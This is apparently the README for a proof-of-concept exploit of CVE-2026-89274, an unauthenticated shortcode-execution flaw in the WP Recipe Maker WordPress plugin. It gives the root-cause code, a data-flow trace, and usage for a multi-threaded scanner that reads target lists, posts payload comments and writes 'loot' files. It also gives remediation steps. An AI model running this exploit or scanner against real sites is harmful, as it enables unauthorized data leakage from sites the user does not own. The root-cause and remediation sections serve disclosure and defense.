CVE-2026-89274 PoC

Poloss : @WPEF0

Proof-of-Concept exploit untuk CVE-2026-89274 — kerentanan Unauthenticated Arbitrary Shortcode Execution pada plugin WordPress WP Recipe Maker versi ≤ 10.8.1.

⚠️ LEGAL & ETHICAL WARNING This script is provided only for security research in a local environment (localhost/lab) and must not be used against systems that are not yours or without written permission. The author is not responsible for misuse. Use against third-party systems without authorization may violate criminal law.

---

📌 Vulnerability Summary

Field	Nilai
CVE ID	CVE-2026-89274
Target	WP Recipe Maker (wp-recipe-maker) ≤ 10.8.1
Kelas	Code Injection (CWE-94) — Arbitrary Shortcode Execution
CVSS v3.1	9.1 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
Vektor	Konten komentar resep (unauthenticated)
Sink	do_shortcode() pada class-wprm-metadata.php
Dampak	Eksekusi shortcode server-side → kebocoran data via JSON-LD publik
Author	Poloss

Root Cause (patch-diff 10.8.1 → 10.8.4)

includes/public/class-wprm-metadata.php :: sanitize_metadata()

Vulnerable (10.8.1):

$sanitized = strip_shortcodes( wp_strip_all_tags( do_shortcode( $metadata ) ) );

do_shortcode() executes the shortcode first, then strip_shortcodes() only cleans up its output — there is no protection at all.

Patched (10.8.4):

$sanitized = strip_shortcodes( wp_strip_all_tags(
    WPRM_Instacart::do_shortcode_safe( $metadata ) ) );

Data Flow

comment_content (komentar publik pada post resep)
   └─> reviewBody        (class-wprm-metadata.php:1017)
       └─> $metadata['review'][]   (line 1028)
           └─> sanitize_metadata( get_metadata( $recipe ) )  (line 374)
               └─> do_shortcode( $reviewBody )  ← SINK EKSEKUSI
                   └─> wp_json_encode() ke <script type="application/ld+json">

Prerequisites

1. The comment carries the wprm-comment-rating field (populated via the comment form).
2. The comment is approved (auto-approved or manually by a moderator).
3. No authentication is required.

---

⚙️ Installation

git clone <repo-url>
cd <repo>
python3 -m venv .venv
source .venv/bin/activate     # Windows: .venv\Scripts\activate
# Tidak ada dependensi eksternal — hanya standard library Python 3.

Persyaratan: Python 3.8+.

---

🚀 Penggunaan

Target tunggal

python3 CVE-2026-89274.py -u http://localhost:8080 -p 10 \
    --shortcode '[wprm-recipe-name id=11]' \
    --marker 'PoC Recipe'

Multiple targets (file)

targets.txt format (one per line, url[,post_id]):

http://lab1.local,10
http://lab2.local,25
# baris komentar diabaikan
http://lab3.local,7

python3 CVE-2026-89274.py -f targets.txt -t 10 -o loot.json

Opsi CLI

Flag	Default	Description
-u, --url	—	Single target URL
-f, --file	—	Target list file (url[,post_id] per line)
-p, --post	10	ID of the post containing the recipe
-t, --threads	5	Number of worker threads
-o, --output	cve-2026-89274-loot.json	JSON output file
--shortcode	[wprm-recipe-name id=11]	Shortcode payload to be executed
--marker	PoC Recipe	Substring proving execution in reviewBody
--rating	5	WPRM rating value
--timeout	25	Per-request timeout (seconds)

---

🔍 How the Script Works

1. Baseline — GET the post page, extract the <script type="application/ld+json"> block, collect reviewBody.
2. Submit comment — POST to /wp-comments-post.php with the payload + the wprm-comment-rating field.
3. Polling — GET the page again several times to detect comment auto-approval.
4. Verification — If --marker appears in reviewBody → EXPLOITED. If not → PENDING_APPROVAL.
5. Output — Save the results to JSON.

Output Status

Status	Meaning
EXPLOITED	Shortcode executed & output leaked into public JSON-LD
PENDING_APPROVAL	Comment submitted, awaiting moderator approval
FAIL	Page unreachable / comment rejected / error

---

📄 Example JSON Output

[
  {
    "target": "http://localhost:8080",
    "post_id": 10,
    "shortcode": "[wprm-recipe-name id=11]",
    "marker": "PoC Recipe",
    "author": "poc1716000000",
    "review_bodies": ["PoC Recipe"],
    "status": "EXPLOITED",
    "evidence": "PoC Recipe",
    "note": "shortcode executed server-side; output leaked into public JSON-LD reviewBody",
    "elapsed": 9.12
  }
]

🛡️ Remediation

• Upgrade WP Recipe Maker to ≥ 10.8.4.
• In the meantime, disable comments on recipe posts or set comment_moderation = 1 and audit comments strictly.
• Apply a WAF rule to block shortcode syntax ([...]) in the comment field.
• Audit old comments for suspicious shortcode payloads.

---

📁 Repo Structure

.
├── CVE-2026-89274.py           # exploit utama
└── README.md                   # dokumen ini